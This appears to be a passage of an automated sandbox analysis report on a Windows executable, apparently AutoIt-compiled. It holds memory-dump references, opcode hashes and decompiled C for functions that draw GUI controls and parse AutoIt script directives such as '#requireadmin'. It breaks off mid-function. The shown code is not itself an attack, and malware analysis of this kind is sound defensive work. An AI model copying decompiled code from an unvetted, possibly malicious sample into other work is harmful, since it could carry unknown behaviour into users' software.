                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LogonUser
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1244722697-0
                                                                                                                                                                            • Opcode ID: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                                                                                            • Instruction ID: 63114e5cfb2c4979e73f5d19eacf740c811f86df1a08bc2cb556a5e36cce81ff
                                                                                                                                                                            • Opcode Fuzzy Hash: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                                                                                            • Instruction Fuzzy Hash: 8DD0ECB52686066FD204CB24D846E2B77E9A7C4701F008A0CB196D2280C670D805CA32
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0042202E Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • SetUnhandledExceptionFilter.KERNEL32(Function_00021FEC), ref: 00422033
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ExceptionFilterUnhandled
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3192549508-0
                                                                                                                                                                            • Opcode ID: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                                                                                            • Instruction ID: 3275b40964251646410af8875a24301f93fa315c26af6adae0ca3d0f7a721f84
                                                                                                                                                                            • Opcode Fuzzy Hash: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                                                                                            • Instruction Fuzzy Hash: CD9002743511144A4A011BB16E5D90925D46A586067920875B411C4064DB9840019619
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00412C38 Relevance: .4, Instructions: 384COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                                                                                            • Instruction ID: b3f199f19983f506b623bfe7955a95149e6efe4e98ce3416cc40fa12ddcf4508
                                                                                                                                                                            • Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                                                                                            • Instruction Fuzzy Hash: 46D19073C0A9B30A8735812D42582BFEE626FD578131EC3E29CD07F38AD26B5DA195D4
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00412818 Relevance: .4, Instructions: 378COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                                                                                            • Instruction ID: c47bdb3f9c9e38c5d46ddb9e43dedaf70276048770aeb58bd274f21c588a824b
                                                                                                                                                                            • Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                                                                                            • Instruction Fuzzy Hash: 1CD19073D1A9B30A8735852D42581AFEE626FD578031EC3E2CCD07F38AD16B5DA191D4
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0041240C Relevance: .4, Instructions: 361COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                                                                                            • Instruction ID: ac15b8da1a4b082d71a0b082c8349c97121379a14580263daf363e6ab8f75410
                                                                                                                                                                            • Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                                                                                            • Instruction Fuzzy Hash: 87C18173C0A9B30A8736812D42641AFEE626FD579031FC3E2CCD47F38A91AB5DA195D4
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00412038 Relevance: .4, Instructions: 351COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                                                                                            • Instruction ID: aa957cafbedeae1199dea6a597ba911d219650f283d164fb65797e90308ef47b
                                                                                                                                                                            • Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                                                                                            • Instruction Fuzzy Hash: 5FC18E73D0A9B30A8735812D42581AFEE626FD578031EC3E28CE46F38ED26F5DA195D4
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00410D10 Relevance: .0, Instructions: 19COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                                            • Instruction ID: b8cfd58d412160527e66ace840abba843d94ac3f5b06779728c9fe736b8606cc
                                                                                                                                                                            • Opcode Fuzzy Hash: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                                            • Instruction Fuzzy Hash: ECD012F621844146F33144D866C0BD100437344310FB58C276005CEBC1C0DDECD6C229
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00441E05 Relevance: 48.3, APIs: 32, Instructions: 276COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 94%
                                                                                                                                                                            			E00441E05(void* _a4, struct HWND__** _a8) {
				signed int _v32;
				void* _v36;
				struct tagRECT _v52;
				void* _v56;
				struct HBRUSH__* _v60;
				struct tagRECT _v76;
				struct HBRUSH__* _v80;
				WCHAR* _v84;
				signed int _v88;
				long _v92;
				int _v96;
				long _v100;
				int _v104;
				void* _v108;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t103;
				long _t105;
				long _t107;
				long _t110;
				void* _t112;
				WCHAR* _t126;
				struct HBRUSH__* _t159;
				signed int _t167;
				struct HWND__** _t168;
				int _t170;
				WCHAR* _t171;
				signed int _t191;
				struct HDC__* _t211;
				void* _t215;

				_t215 = _a4;
				if( *0x4972c4 == 0) {
					_t103 =  *(_t215 + 0x10);
					_t211 =  *(_t215 + 0x18);
					_t167 = _t103 & 0x00000006;
					_v52.right = _t103 & 0x00000010;
					_v32 = _t167;
					_v52.top.left = _t103 & 0x00000001;
					__eflags = _t167;
					if(_t167 == 0) {
						_t105 = _a8[0x12];
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t105 = GetSysColor(0x12);
							goto L6;
						}
					} else {
						_t105 = GetSysColor(0xe);
						L6:
					}
					_v52.top.left = SetTextColor(_t211, _t105);
					_t107 = _a8[0x11];
					__eflags = _t107 - 0xffffffff;
					if(_t107 != 0xffffffff) {
						_v76.bottom = CreateSolidBrush(_t107);
						_t110 = _a8[0x11];
					} else {
						_v60 = GetSysColorBrush(0xf);
						_t110 = GetSysColor(0xf);
					}
					_v52.right = SetBkColor(_t211, _t110);
					_t112 = SelectObject(_t211, _v76.top.left);
					__eflags = _v76.left;
					_v56 = _t112;
					_v52.top.left =  *(_t215 + 0x1c);
					_v52.right =  *(_t215 + 0x20);
					_v52.bottom =  *((intOrPtr*)(_t215 + 0x24));
					_v36 =  *(_t215 + 0x28);
					if(_v76.left == 0) {
						__eflags = _v76.top.left;
						if(_v76.top.left != 0) {
							InflateRect( &(_v52.top), 0xffffffff, 0xffffffff);
						}
						DrawFrameControl(_t211,  &(_v52.top), 4, 0x10);
					} else {
						InflateRect( &(_v52.top), 0xffffffff, 0xffffffff);
						_t159 = CreateSolidBrush(GetSysColor(0x10));
						_v76.right.left = _t159;
						FrameRect(_t211,  &_v52, _t159);
						DeleteObject(_v76.right.left);
					}
					__eflags = _v76.left;
					_v52.top.left =  *(_t215 + 0x1c);
					_v52.right =  *(_t215 + 0x20);
					_v52.bottom =  *((intOrPtr*)(_t215 + 0x24));
					_v36 =  *(_t215 + 0x28);
					if(_v76.left == 0) {
						__eflags = _v76.top.left;
						if(_v76.top.left == 0) {
							InflateRect( &(_v52.top), 0xfffffffe, 0xfffffffe);
						} else {
							InflateRect( &(_v52.top), 0xfffffffd, 0xfffffffd);
						}
						_v52.top.left = _v52.top.left - 1;
						_t51 =  &(_v52.right);
						 *_t51 = _v52.right - 1;
						__eflags =  *_t51;
					} else {
						InflateRect( &(_v52.top), 0xfffffffe, 0xfffffffe);
					}
					FillRect(_t211,  &(_v52.top), _v80);
					__eflags = _v88;
					if(_v88 != 0) {
						L23:
						_v60 = _v60 + 2;
						_t58 =  &_v56;
						 *_t58 = _v56 + 2;
						__eflags =  *_t58;
					} else {
						__eflags = _t167;
						if(_t167 != 0) {
							goto L23;
						}
					}
					_t168 = _a8;
					_v88 = 0x105;
					__eflags =  *0x482718( *_t168, 0xfffffff0) & 0x00002000;
					if(__eflags == 0) {
						_v96 = 0x125;
					}
					_t170 = SendMessageW( *_t168, 0xe, 0, 0) + 1;
					_push( ~(0 | __eflags > 0x00000000) | _t170 * 0x00000002);
					_t126 = E0041171A(_t170, _t211, __eflags);
					_v84 = _t126;
					GetWindowTextW( *_a8, _t126, _t170);
					_t204 = _v96;
					_t171 = _v84;
					DrawTextW(_t211, _t171, 0xffffffff,  &(_v76.right), _v96);
					__eflags = _v80;
					if(_v80 != 0) {
						_v60 =  *((intOrPtr*)(_t215 + 0x24));
						_t204 =  *(_t215 + 0x28);
						_t191 =  *(_t215 + 0x20) + 1;
						__eflags = _t191;
						_v56 =  *(_t215 + 0x28);
						_v76.right.left =  *(_t215 + 0x1c) + 1;
						_v76.bottom = _t191;
						SetTextColor(_t211, GetSysColor(0x11));
						DrawTextW(_t211, _t171, 0xffffffff,  &_v76, _v104);
					}
					__eflags = _v92;
					if(__eflags != 0) {
						_v76.right =  *(_t215 + 0x1c);
						_v76.bottom =  *(_t215 + 0x20);
						_v60 =  *((intOrPtr*)(_t215 + 0x24));
						_v56 =  *(_t215 + 0x28);
						_t215 = CreateSolidBrush(0);
						FrameRect(_t211,  &(_v76.top), _t215);
						DeleteObject(_t215);
						InflateRect( &_v76, 0xfffffffc, 0xfffffffc);
						_t204 =  &_v76;
						DrawFocusRect(_t211,  &_v76);
					}
					E004112EF(_t171, _t204, _t211, _t215, __eflags, _t171);
					SelectObject(_t211, _v76);
					DeleteObject(_v108);
					SetTextColor(_t211, _v100);
					SetBkColor(_t211, _v92);
					return 1;
				} else {
					return E00433D5C(_t215, _a8);
				}
			}



































                                                                                                                                                                            0x00441e17
                                                                                                                                                                            0x00441e1b
                                                                                                                                                                            0x00441e30
                                                                                                                                                                            0x00441e33
                                                                                                                                                                            0x00441e3a
                                                                                                                                                                            0x00441e43
                                                                                                                                                                            0x00441e47
                                                                                                                                                                            0x00441e4b
                                                                                                                                                                            0x00441e4f
                                                                                                                                                                            0x00441e51
                                                                                                                                                                            0x00441e5a
                                                                                                                                                                            0x00441e5d
                                                                                                                                                                            0x00441e60
                                                                                                                                                                            0x00441e64
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441e64
                                                                                                                                                                            0x00441e53
                                                                                                                                                                            0x00441e64
                                                                                                                                                                            0x00441e64
                                                                                                                                                                            0x00441e64
                                                                                                                                                                            0x00441e75
                                                                                                                                                                            0x00441e79
                                                                                                                                                                            0x00441e7c
                                                                                                                                                                            0x00441e7f
                                                                                                                                                                            0x00441e9e
                                                                                                                                                                            0x00441ea5
                                                                                                                                                                            0x00441e81
                                                                                                                                                                            0x00441e8b
                                                                                                                                                                            0x00441e8f
                                                                                                                                                                            0x00441e8f
                                                                                                                                                                            0x00441eb6
                                                                                                                                                                            0x00441eba
                                                                                                                                                                            0x00441ec0
                                                                                                                                                                            0x00441ecb
                                                                                                                                                                            0x00441ed2
                                                                                                                                                                            0x00441ed9
                                                                                                                                                                            0x00441edd
                                                                                                                                                                            0x00441ee1
                                                                                                                                                                            0x00441ee5
                                                                                                                                                                            0x00441f23
                                                                                                                                                                            0x00441f28
                                                                                                                                                                            0x00441f33
                                                                                                                                                                            0x00441f33
                                                                                                                                                                            0x00441f43
                                                                                                                                                                            0x00441ee7
                                                                                                                                                                            0x00441ef0
                                                                                                                                                                            0x00441eff
                                                                                                                                                                            0x00441f0c
                                                                                                                                                                            0x00441f10
                                                                                                                                                                            0x00441f1b
                                                                                                                                                                            0x00441f1b
                                                                                                                                                                            0x00441f49
                                                                                                                                                                            0x00441f57
                                                                                                                                                                            0x00441f5e
                                                                                                                                                                            0x00441f62
                                                                                                                                                                            0x00441f66
                                                                                                                                                                            0x00441f6a
                                                                                                                                                                            0x00441f7d
                                                                                                                                                                            0x00441f82
                                                                                                                                                                            0x00441f98
                                                                                                                                                                            0x00441f84
                                                                                                                                                                            0x00441f98
                                                                                                                                                                            0x00441f98
                                                                                                                                                                            0x00441fa3
                                                                                                                                                                            0x00441fa7
                                                                                                                                                                            0x00441fa7
                                                                                                                                                                            0x00441fa7
                                                                                                                                                                            0x00441f6c
                                                                                                                                                                            0x00441f75
                                                                                                                                                                            0x00441f75
                                                                                                                                                                            0x00441fb6
                                                                                                                                                                            0x00441fbc
                                                                                                                                                                            0x00441fc1
                                                                                                                                                                            0x00441fc7
                                                                                                                                                                            0x00441fcc
                                                                                                                                                                            0x00441fd0
                                                                                                                                                                            0x00441fd0
                                                                                                                                                                            0x00441fd0
                                                                                                                                                                            0x00441fc3
                                                                                                                                                                            0x00441fc3
                                                                                                                                                                            0x00441fc5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441fc5
                                                                                                                                                                            0x00441fd4
                                                                                                                                                                            0x00441fdc
                                                                                                                                                                            0x00441fea
                                                                                                                                                                            0x00441fef
                                                                                                                                                                            0x00441ff1
                                                                                                                                                                            0x00441ff1
                                                                                                                                                                            0x0044200a
                                                                                                                                                                            0x0044201d
                                                                                                                                                                            0x0044201e
                                                                                                                                                                            0x00442028
                                                                                                                                                                            0x00442032
                                                                                                                                                                            0x00442038
                                                                                                                                                                            0x0044203c
                                                                                                                                                                            0x0044204a
                                                                                                                                                                            0x00442050
                                                                                                                                                                            0x00442055
                                                                                                                                                                            0x00442060
                                                                                                                                                                            0x00442064
                                                                                                                                                                            0x00442068
                                                                                                                                                                            0x00442068
                                                                                                                                                                            0x0044206b
                                                                                                                                                                            0x0044206f
                                                                                                                                                                            0x00442073
                                                                                                                                                                            0x0044207f
                                                                                                                                                                            0x00442093
                                                                                                                                                                            0x00442093
                                                                                                                                                                            0x00442099
                                                                                                                                                                            0x0044209e
                                                                                                                                                                            0x004420a9
                                                                                                                                                                            0x004420b2
                                                                                                                                                                            0x004420b6
                                                                                                                                                                            0x004420ba
                                                                                                                                                                            0x004420c4
                                                                                                                                                                            0x004420cd
                                                                                                                                                                            0x004420d4
                                                                                                                                                                            0x004420e3
                                                                                                                                                                            0x004420e9
                                                                                                                                                                            0x004420ef
                                                                                                                                                                            0x004420ef
                                                                                                                                                                            0x004420f6
                                                                                                                                                                            0x00442104
                                                                                                                                                                            0x0044210f
                                                                                                                                                                            0x0044211b
                                                                                                                                                                            0x00442127
                                                                                                                                                                            0x00442138
                                                                                                                                                                            0x00441e1d
                                                                                                                                                                            0x00441e2d
                                                                                                                                                                            0x00441e2d

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetSysColor.USER32(00000012), ref: 00441E64
                                                                                                                                                                            • SetTextColor.GDI32(?,?), ref: 00441E6C
                                                                                                                                                                            • GetSysColorBrush.USER32(0000000F), ref: 00441E83
                                                                                                                                                                            • GetSysColor.USER32(0000000F), ref: 00441E8F
                                                                                                                                                                            • SetBkColor.GDI32(?,?), ref: 00441EAA
                                                                                                                                                                            • SelectObject.GDI32(?,?), ref: 00441EBA
                                                                                                                                                                            • InflateRect.USER32(?,000000FF,000000FF), ref: 00441EF0
                                                                                                                                                                            • GetSysColor.USER32(00000010), ref: 00441EF8
                                                                                                                                                                            • CreateSolidBrush.GDI32(00000000), ref: 00441EFF
                                                                                                                                                                            • FrameRect.USER32(?,?,00000000), ref: 00441F10
                                                                                                                                                                            • DeleteObject.GDI32(?), ref: 00441F1B
                                                                                                                                                                            • InflateRect.USER32(?,000000FE,000000FE), ref: 00441F75
                                                                                                                                                                            • FillRect.USER32(?,?,?), ref: 00441FB6
                                                                                                                                                                              • Part of subcall function 00433D5C: GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                                                                                                              • Part of subcall function 00433D5C: SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                                                                                                              • Part of subcall function 00433D5C: GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                                                                                                              • Part of subcall function 00433D5C: GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                                                                                                              • Part of subcall function 00433D5C: GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                                                                                                              • Part of subcall function 00433D5C: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                                                                                                              • Part of subcall function 00433D5C: SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                                                                                                              • Part of subcall function 00433D5C: SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                                                                                                              • Part of subcall function 00433D5C: SelectObject.GDI32(?,?), ref: 00433E29
                                                                                                                                                                              • Part of subcall function 00433D5C: InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                                                                                                              • Part of subcall function 00433D5C: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                                                                                                              • Part of subcall function 00433D5C: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Color$Rect$Object$BrushInflateSelect$CreateText$DeleteFillFrameMessageRoundSendSolid
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3518701105-0
                                                                                                                                                                            • Opcode ID: 7dd89d5accbdc216027bd0db98c23df4c96289731ce17308e1ca9408d763fa62
                                                                                                                                                                            • Instruction ID: 0b0c06e318eae1aa70623bc76f746578ebcda4f465cb69034399d4c57c44293d
                                                                                                                                                                            • Opcode Fuzzy Hash: 7dd89d5accbdc216027bd0db98c23df4c96289731ce17308e1ca9408d763fa62
                                                                                                                                                                            • Instruction Fuzzy Hash: BBB14D71508300AFD314DF64DD88A6FB7F8FB88720F504A2DF996922A0D774E845CB66
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00403E50 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 236COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 44%
                                                                                                                                                                            			E00403E50(char* __ecx, void* __edx, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t36;
				signed int _t37;
				signed int _t38;
				signed int _t39;
				signed int _t40;
				signed int _t41;
				signed int _t42;
				signed int _t44;
				signed int _t49;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				signed int _t53;
				void* _t55;
				intOrPtr _t56;
				signed int _t59;
				signed int _t62;
				signed int _t71;
				char* _t77;
				intOrPtr _t82;
				void* _t97;
				intOrPtr* _t98;
				short* _t100;
				signed int _t101;
				void* _t102;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t106;
				void* _t107;
				void* _t108;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t113;

				_t115 = __fp0;
				_t89 = __edx;
				_t79 = __ecx;
				E00425210(0x2004);
				_t100 =  *((intOrPtr*)(_t105 + 0x2014));
				if( *_t100 == 0x23) {
					_t77 = __ecx;
					_t36 = E004136BC(__edx, _t100, L"#notrayicon", 0xb);
					_t106 = _t105 + 0xc;
					__eflags = _t36;
					if(_t36 != 0) {
						_t37 = E004136BC(__edx, _t100, L"#requireadmin", 0xd);
						_t107 = _t106 + 0xc;
						__eflags = _t37;
						if(_t37 != 0) {
							_t38 = E004136BC(__edx, _t100, L"#NoAutoIt3Execute", 0xd);
							_t108 = _t107 + 0xc;
							__eflags = _t38;
							if(_t38 != 0) {
								_t39 = E004136BC(__edx, _t100, L"#OnAutoItStartRegister", 0x16);
								_t109 = _t108 + 0xc;
								__eflags = _t39;
								if(__eflags != 0) {
									_t40 = E004136BC(_t89, _t100, L"#include-once", 0xd);
									_t110 = _t109 + 0xc;
									__eflags = _t40;
									if(_t40 != 0) {
										_t41 = E004136BC(_t89, _t100, L"#include", 8);
										_t111 = _t110 + 0xc;
